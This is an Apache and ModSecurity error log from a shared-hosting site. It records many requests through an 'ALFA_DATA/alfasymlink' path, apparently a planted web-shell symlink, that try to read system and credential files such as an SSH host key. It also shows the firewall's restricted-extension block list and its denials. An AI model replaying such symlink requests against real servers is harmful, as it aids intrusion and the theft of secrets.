[Sun Oct 25 16:14:39.295153 2026] [security2:error] [pid 2889270:tid 2889270] [client 16.216.88.106:40960] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/075_mod_authz_core.conf"] [unique_id "at5jL_SMdi-sddjp6mAfkgAAABA"]
[Sun Oct 25 16:14:39.295685 2026] [security2:error] [pid 2889270:tid 2889270] [client 16.216.88.106:40960] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/075_mod_authz_core.conf"] [unique_id "at5jL_SMdi-sddjp6mAfkgAAABA"]
[Sun Oct 25 16:14:39.296016 2026] [security2:error] [pid 2889270:tid 2889270] [client 16.216.88.106:40960] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/075_mod_authz_core.conf"] [unique_id "at5jL_SMdi-sddjp6mAfkgAAABA"]
[Sun Oct 25 16:14:39.604752 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 54.159.98.248:36490] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:14:51.474165 2026] [ssl:error] [pid 2893298:tid 2893298] (70014)End of file found: [client 52.200.142.199:31926] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:14:58.448128 2026] [security2:error] [pid 2889353:tid 2889353] [client 85.208.96.197:19762] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/french/errmsg.sys"] [unique_id "at5jQq8dg0Qe9Rh6wUUbywAAAEU"]
[Sun Oct 25 16:14:58.448580 2026] [security2:error] [pid 2889353:tid 2889353] [client 85.208.96.197:19762] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/french/errmsg.sys"] [unique_id "at5jQq8dg0Qe9Rh6wUUbywAAAEU"]
[Sun Oct 25 16:14:58.448989 2026] [security2:error] [pid 2889353:tid 2889353] [client 85.208.96.197:19762] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/french/errmsg.sys"] [unique_id "at5jQq8dg0Qe9Rh6wUUbywAAAEU"]
[Sun Oct 25 16:15:03.681799 2026] [ssl:error] [pid 2893298:tid 2893298] (5)Input/output error: [client 3.231.193.38:31573] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:15:08.174735 2026] [ssl:error] [pid 2885088:tid 2885088] (70014)End of file found: [client 54.84.102.81:24565] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:15:16.230592 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 52.4.229.9:23343] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:15:23.437074 2026] [ssl:error] [pid 2893744:tid 2893744] (70014)End of file found: [client 18.214.124.6:13387] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:15:27.588757 2026] [ssl:error] [pid 2885088:tid 2885088] (70014)End of file found: [client 54.91.122.193:34645] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:15:31.429305 2026] [ssl:error] [pid 2889287:tid 2889287] (70014)End of file found: [client 54.235.158.162:62947] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:15:39.553900 2026] [ssl:error] [pid 2887586:tid 2887586] (70014)End of file found: [client 52.44.174.136:7518] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:15:51.355143 2026] [security2:error] [pid 2885088:tid 2885088] [client 54.197.114.76:59692] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:00/physical_node/driver/module/"] [unique_id "at5jd4mi8ug6M5pAwucdBwAAAAI"]
[Sun Oct 25 16:15:51.355219 2026] [security2:error] [pid 2885088:tid 2885088] [client 54.197.114.76:59692] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:00/physical_node/driver/module/"] [unique_id "at5jd4mi8ug6M5pAwucdBwAAAAI"]
[Sun Oct 25 16:15:55.672628 2026] [ssl:error] [pid 2889287:tid 2889287] (70014)End of file found: [client 44.194.134.53:35845] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:16:03.449006 2026] [ssl:error] [pid 2893742:tid 2893742] (70014)End of file found: [client 44.221.227.90:30920] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:16:07.353211 2026] [ssl:error] [pid 2885109:tid 2885109] (70014)End of file found: [client 44.221.37.41:15717] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:16:11.293612 2026] [ssl:error] [pid 2893744:tid 2893744] (70014)End of file found: [client 54.162.69.192:40243] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:16:15.345179 2026] [ssl:error] [pid 2889344:tid 2889344] (70014)End of file found: [client 52.204.71.8:8170] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:16:19.339454 2026] [ssl:error] [pid 2887586:tid 2887586] (70014)End of file found: [client 44.206.93.215:22740] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:16:27.228397 2026] [ssl:error] [pid 2889270:tid 2889270] (70014)End of file found: [client 54.210.155.69:33247] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:16:37.540963 2026] [core:crit] [pid 2885109:tid 2885109] (13)Permission denied: [client 216.244.66.250:40256] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/126/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/126/fd/' is executable
[Sun Oct 25 16:16:37.541074 2026] [core:crit] [pid 2885109:tid 2885109] (13)Permission denied: [client 216.244.66.250:40256] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/126/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/126/map_files/' is executable
[Sun Oct 25 16:16:37.541095 2026] [core:crit] [pid 2885109:tid 2885109] (13)Permission denied: [client 216.244.66.250:40256] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/126/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/126/fdinfo/' is executable
[Sun Oct 25 16:16:40.346622 2026] [security2:error] [pid 2893298:tid 2893298] [client 185.191.171.8:57752] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/bash-completion/completions/gst-inspect-1.0"] [unique_id "at5jqIW6y-EocrAVbccGZQAAAAE"]
[Sun Oct 25 16:16:40.346676 2026] [security2:error] [pid 2893298:tid 2893298] [client 185.191.171.8:57752] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/bash-completion/completions/gst-inspect-1.0"] [unique_id "at5jqIW6y-EocrAVbccGZQAAAAE"]
[Sun Oct 25 16:16:43.094359 2026] [ssl:error] [pid 2887586:tid 2887586] (70014)End of file found: [client 34.195.60.66:63727] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:16:45.571177 2026] [core:crit] [pid 2889342:tid 2889342] (13)Permission denied: [client 216.244.66.250:59938] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/37/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/37/fd/' is executable
[Sun Oct 25 16:16:45.571240 2026] [core:crit] [pid 2889342:tid 2889342] (13)Permission denied: [client 216.244.66.250:59938] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/37/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/37/map_files/' is executable
[Sun Oct 25 16:16:45.571259 2026] [core:crit] [pid 2889342:tid 2889342] (13)Permission denied: [client 216.244.66.250:59938] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/37/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/37/fdinfo/' is executable
[Sun Oct 25 16:16:47.086463 2026] [ssl:error] [pid 2889287:tid 2889287] (70014)End of file found: [client 44.214.19.8:28780] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:16:51.124220 2026] [core:error] [pid 2892941:tid 2892941] (13)Permission denied: [client 52.203.237.170:1446] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/ACPI0010:00/subsystem/drivers_probe
[Sun Oct 25 16:16:55.044205 2026] [core:error] [pid 2893298:tid 2893298] (13)Permission denied: [client 3.218.35.239:15092] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/memory12/node0/compact
[Sun Oct 25 16:17:03.040581 2026] [ssl:error] [pid 2889285:tid 2889285] (70014)End of file found: [client 98.84.200.43:38758] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:17:07.570548 2026] [security2:error] [pid 2889342:tid 2889342] [client 43.157.158.178:52656] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/390"] [unique_id "at5jw_Rqe8JFpk4VEd7wYAAAADg"]
[Sun Oct 25 16:17:07.688030 2026] [ssl:error] [pid 2889287:tid 2889287] (70014)End of file found: [client 3.231.193.38:18016] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:17:10.609553 2026] [ssl:error] [pid 2893298:tid 2893298] (70014)End of file found: [client 85.208.96.194:34668] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:17:18.940529 2026] [ssl:error] [pid 2887586:tid 2887586] (70014)End of file found: [client 23.23.103.31:61475] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:17:19.087207 2026] [security2:error] [pid 2892942:tid 2892942] [client 107.172.76.131:64319] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5jw4nLwLiTQscYQnY-gAAAAAY"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 16:17:19.087281 2026] [security2:error] [pid 2892942:tid 2892942] [client 107.172.76.131:64319] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5jw4nLwLiTQscYQnY-gAAAAAY"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 16:17:26.847581 2026] [ssl:error] [pid 2893743:tid 2893743] (70014)End of file found: [client 54.197.114.76:1991] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:17:39.513844 2026] [ssl:error] [pid 2893744:tid 2893744] (70014)End of file found: [client 52.22.64.232:58367] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:17:39.916998 2026] [security2:error] [pid 2891189:tid 2891189] [client 107.172.76.131:64322] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5j1j03oOY3EiI_Rmqm_gAAAAA"], referer: https://bases2.sherwinpinturas.com/beta.php
[Sun Oct 25 16:17:39.917058 2026] [security2:error] [pid 2891189:tid 2891189] [client 107.172.76.131:64322] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5j1j03oOY3EiI_Rmqm_gAAAAA"], referer: https://bases2.sherwinpinturas.com/beta.php
[Sun Oct 25 16:17:45.413599 2026] [security2:error] [pid 2892942:tid 2892942] [client 107.172.76.131:64319] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5j3YnLwLiTQscYQnY-ggAAAAY"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 16:17:45.413657 2026] [security2:error] [pid 2892942:tid 2892942] [client 107.172.76.131:64319] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5j3YnLwLiTQscYQnY-ggAAAAY"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 16:17:46.827676 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 185.191.171.6:24602] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:17:54.886495 2026] [ssl:error] [pid 2893744:tid 2893744] (70014)End of file found: [client 3.213.46.222:41083] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:18:01.670012 2026] [ssl:error] [pid 2889344:tid 2889344] (70014)End of file found: [client 185.191.171.14:20880] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:18:11.143775 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 54.159.98.248:22679] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:18:14.718780 2026] [ssl:error] [pid 2893742:tid 2893742] (70014)End of file found: [client 52.200.58.199:58276] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:18:26.596835 2026] [core:error] [pid 2887586:tid 2887586] (13)Permission denied: [client 3.222.190.107:55536] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/wakeup/wakeup5/device/physical_node/resource1
[Sun Oct 25 16:18:28.631063 2026] [security2:error] [pid 2885094:tid 2885094] [client 107.172.76.131:64317] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5kCMQLj3BHFe0xVVDOlgAAAAU"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 16:18:28.631109 2026] [security2:error] [pid 2885094:tid 2885094] [client 107.172.76.131:64317] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5kCMQLj3BHFe0xVVDOlgAAAAU"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 16:18:30.604838 2026] [ssl:error] [pid 2885109:tid 2885109] (70014)End of file found: [client 98.82.63.147:55372] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:18:33.898084 2026] [core:error] [pid 2889353:tid 2889353] (13)Permission denied: [client 16.216.88.13:16384] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/ssh/ssh_host_rsa_key
[Sun Oct 25 16:18:34.502292 2026] [ssl:error] [pid 2893742:tid 2893742] (70014)End of file found: [client 3.221.50.71:39459] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:18:42.391299 2026] [ssl:error] [pid 2893298:tid 2893298] (70014)End of file found: [client 44.207.252.58:62626] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:18:53.518263 2026] [ssl:error] [pid 2889287:tid 2889287] (70014)End of file found: [client 85.208.96.200:55002] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:18:54.398425 2026] [ssl:error] [pid 2893744:tid 2893744] (70014)End of file found: [client 34.239.85.139:9534] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:19:02.206863 2026] [ssl:error] [pid 2892941:tid 2892941] (70014)End of file found: [client 34.224.9.144:40393] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:19:06.302180 2026] [ssl:error] [pid 2889353:tid 2889353] (70014)End of file found: [client 44.207.207.36:53829] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:19:22.194488 2026] [ssl:error] [pid 2893298:tid 2893298] (70014)End of file found: [client 52.200.58.199:20372] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:19:42.277085 2026] [ssl:error] [pid 2893744:tid 2893744] (70014)End of file found: [client 34.239.197.197:34137] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 16:19:43.618224 2026] [security2:error] [pid 2889353:tid 2889353] [client 186.78.50.1:56610] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/systemd/20-yama-ptrace.conf"] [unique_id "at5kX68dg0Qe9Rh6wUUb5AAAAEU"]
[Sun Oct 25 16:19:43.618767 2026] [security2:error] [pid 2889353:tid 2889353] [client 186.78.50.1:56610] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/systemd/20-yama-ptrace.conf"] [unique_id "at5kX68dg0Qe9Rh6wUUb5AAAAEU"]
[Sun Oct 25 16:19:43.619111 2026] [security2:error] [pid 2889353:tid 2889353] [client 186.78.50.1:56610] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/systemd/20-yama-ptrace.conf"] [unique_id "at5kX68dg0Qe9Rh6wUUb5AAAAEU"]
[Sun Oct 25 16:19:46.417972 2026] [core:error] [pid 2887586:tid 2887586] (13)Permission denied: [client 34.206.249.188:11340] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/wakeup/wakeup5/device/physical_node/resource4
[Sun Oct 25 16:19:46.422069 2026] [security2:error] [pid 2889342:tid 2889342] [client 197.59.109.60:48446] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/systemd/20-yama-ptrace.conf"] [unique_id "at5kYvRqe8JFpk4VEd7wZQAAADg"]
[Sun Oct 25 16:19:46.422496 2026] [security2:error] [pid 2889342:tid 2889342] [client 197.59.109.60:48446] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/systemd/20-yama-ptrace.conf"] [unique_id "at5kYvRqe8JFpk4VEd7wZQAAADg"]
[Sun Oct 25 16:19:46.422807 2026] [security2:error] [pid 2889342:tid 2889342] [client 197.59.109.60:48446] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/systemd/20-yama-ptrace.conf"] [unique_id "at5kYvRqe8JFpk4VEd7wZQAAADg"]
[Sun Oct 25 16:19:48.485851 2026] [security2:error] [pid 2889344:tid 2889344] [client 168.121.85.218:31504] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/systemd/20-yama-ptrace.conf"] [unique_id "at5kZNKX2UxtP-t1n16tJwAAADs"]
